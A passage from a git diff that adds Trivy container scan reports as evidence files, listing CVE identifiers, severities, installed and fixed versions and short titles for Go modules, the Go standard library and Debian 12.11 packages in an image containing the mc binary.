├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39830 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via resource leak from unsolicited SSH responses... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39830 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39831 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security │ +│ │ │ │ │ │ │ key bypass due to missing user presence check │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39831 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39832 │ │ │ │ │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: Security bypass due to │ +│ │ │ │ │ │ │ improper handling of key restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39832 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39835 │ │ │ │ │ golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Denial of Service via crafted SSH certificate │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39835 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42508 │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: golang: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: Revocation bypass via │ +│ │ │ │ │ │ │ unchecked SignatureKey │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42508 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46595 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authorization bypass due to skipped source-address │ +│ │ │ │ │ │ │ validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46595 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46597 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted AES-GCM packet decoder inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46597 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56854 │ │ │ │ 0.55.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authentication bypass due to unenforced source-address │ +│ │ │ │ │ │ │ restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56854 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┤ ├──────────────────────────────────────────────────────────────┤ +│ golang.org/x/net │ CVE-2026-25681 │ │ │ v0.34.0 │ │ golang.org/x/net/html: golang.org/x/net/html: Arbitrary code │ +│ │ │ │ │ │ │ execution via Cross-Site Scripting │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25681 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27136 │ │ │ │ │ golang.org/x/net/html: golang: golang.org/x/net/html: │ +│ │ │ │ │ │ │ Cross-Site Scripting via HTML parsing bypass │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27136 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ 0.53.0 │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 0.55.0 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46600 │ │ │ │ 0.56.0 │ golang.org/x/net/dns/dnsmessage: │ +│ │ │ │ │ │ │ golang.org/x/net/dns/dnsmessage: Denial of Service via │ +│ │ │ │ │ │ │ invalid DNS record parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46600 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78661 │ │ │ │ 0.62.0 │ golang.org/x/net/html: golang.org/x/net/html: Denial of │ +│ │ │ │ │ │ │ Service via crafted HTML input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78661 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ 0.60.0 │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/oauth2 │ CVE-2025-22868 │ │ │ v0.25.0 │ 0.27.0 │ golang.org/x/oauth2/jws: Unexpected memory consumption │ +│ │ │ │ │ │ │ during token parsing in golang.org/x/oauth2/jws │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-22868 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/text │ CVE-2026-56851 │ │ │ v0.21.0 │ 0.41.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ out-of-bounds slice error in Nickname profile... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56851 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56852 │ │ │ │ 0.39.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ invalid UTF-8 input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56852 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ google.golang.org/grpc │ CVE-2026-33186 │ CRITICAL │ │ v1.70.0 │ 1.79.3 │ google.golang.org/grpc/grpc-go: │ +│ │ │ │ │ │ │ google.golang.org/grpc/authz: gRPC-Go: Authorization bypass │ +│ │ │ │ │ │ │ due to improper HTTP/2 path validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33186 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84304 │ HIGH │ │ │ 1.83.1 │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ │ HTTP/2 DATA Frame Fragmentation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84304 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84445 │ │ │ │ 1.82.2, 1.83.2, 1.84.0-dev.0.20260825144003-d5a41119e0e3, │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ 1.85.0-dev.0.20260825072537-93e31b48545e │ malformed RPC requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84445 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ GHSA-hrxh-6v49-42gf │ │ │ │ 1.82.1 │ gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities │ +│ │ │ │ │ │ │ https://github.com/advisories/GHSA-hrxh-6v49-42gf │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2025-68121 │ CRITICAL │ │ v1.23.6 │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ HIGH │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└──────────────────────────────────┴─────────────────────┴──────────┴────────┴───────────────────┴───────────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/evidence/trivy-mc.txt b/evidence/trivy-mc.txt new file mode 100644 index 0000000..f89bdbf --- /dev/null +++ b/evidence/trivy-mc.txt @@ -0,0 +1,856 @@ + +Report Summary + +┌──────────────────────────────────────────────────────────────────────┬────────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├──────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ /scan/image.tar (debian 12.11) │ debian │ 152 │ +├──────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/lib/python3.12/site-packages/pip-25.0.1.dist-info/METADATA │ python-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────┼────────────┼─────────────────┤ +│ usr/local/bin/mc │ gobinary │ 54 │ +└──────────────────────────────────────────────────────────────────────┴────────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +/scan/image.tar (debian 12.11) +============================== +Total: 152 (HIGH: 143, CRITICAL: 9) + +┌────────────────────┬─────────────────┬──────────┬──────────────┬────────────────────┬────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ apt │ CVE-2026-109518 │ HIGH │ fixed │ 2.6.1 │ 2.6.2 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ bsdutils │ CVE-2026-53613 │ │ affected │ 1:2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ gpgv │ CVE-2025-68973 │ │ fixed │ 2.2.40-1.1 │ 2.2.40-1.1+deb12u2 │ GnuPG: GnuPG: Information disclosure and potential arbitrary │ +│ │ │ │ │ │ │ code execution via out-of-bounds write... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68973 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ gzip │ CVE-2026-41992 │ │ fix_deferred │ 1.12-1 │ │ gzip: gzip: Information disclosure via global buffer │ +│ │ │ │ │ │ │ overflow in LZH decompression │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41992 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libacl1 │ CVE-2026-54369 │ │ │ 2.3.1-3 │ │ acl: Symlink traversal privilege escalation via libacl │ +│ │ │ │ │ │ │ functions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-54369 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libapt-pkg6.0 │ CVE-2026-109518 │ │ fixed │ 2.6.1 │ 2.6.2 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libblkid1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libcap2 │ CVE-2026-4878 │ │ fixed │ 1:2.66-4+deb12u1 │ 1:2.66-4+deb12u3 │ libcap: libcap: Privilege escalation via TOCTOU race │ +│ │ │ │ │ │ │ condition in cap_set_file() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-4878 │ +├────────────────────┼─────────────────┼──────────┤ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libgnutls30 │ CVE-2026-33845 │ CRITICAL │ │ 3.7.9-2+deb12u4 │ 3.7.9-2+deb12u7 │ gnutls: GnuTLS: Denial of Service via DTLS zero-length │ +│ │ │ │ │ │ │ fragment │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33845 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42010 │ │ │ │ │ gnutls: gnutls: Authentication Bypass via NUL Character in │ +│ │ │ │ │ │ │ Username │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42010 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-32988 │ HIGH │ │ │ 3.7.9-2+deb12u5 │ gnutls: Vulnerability in GnuTLS otherName SAN export │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-32988 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-32990 │ │ │ │ │ gnutls: Vulnerability in GnuTLS certtool template parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-32990 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33846 │ │ │ │ 3.7.9-2+deb12u7 │ gnutls: GnuTLS: Denial of Service via heap buffer overflow │ +│ │ │ │ │ │ │ in DTLS handshake... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33846 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-3833 │ │ │ │ │ gnutls: GnuTLS: Policy bypass due to case-sensitive │ +│ │ │ │ │ │ │ nameConstraints comparison │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-3833 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42009 │ │ │ │ │ gnutls: gnutls: Denial of Service via DTLS packet reordering │ +│ │ │ │ │ │ │ vulnerability │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42009 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libgssapi-krb5-2 │ CVE-2026-107364 │ │ affected │ 1.20.1-2+deb12u3 │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ 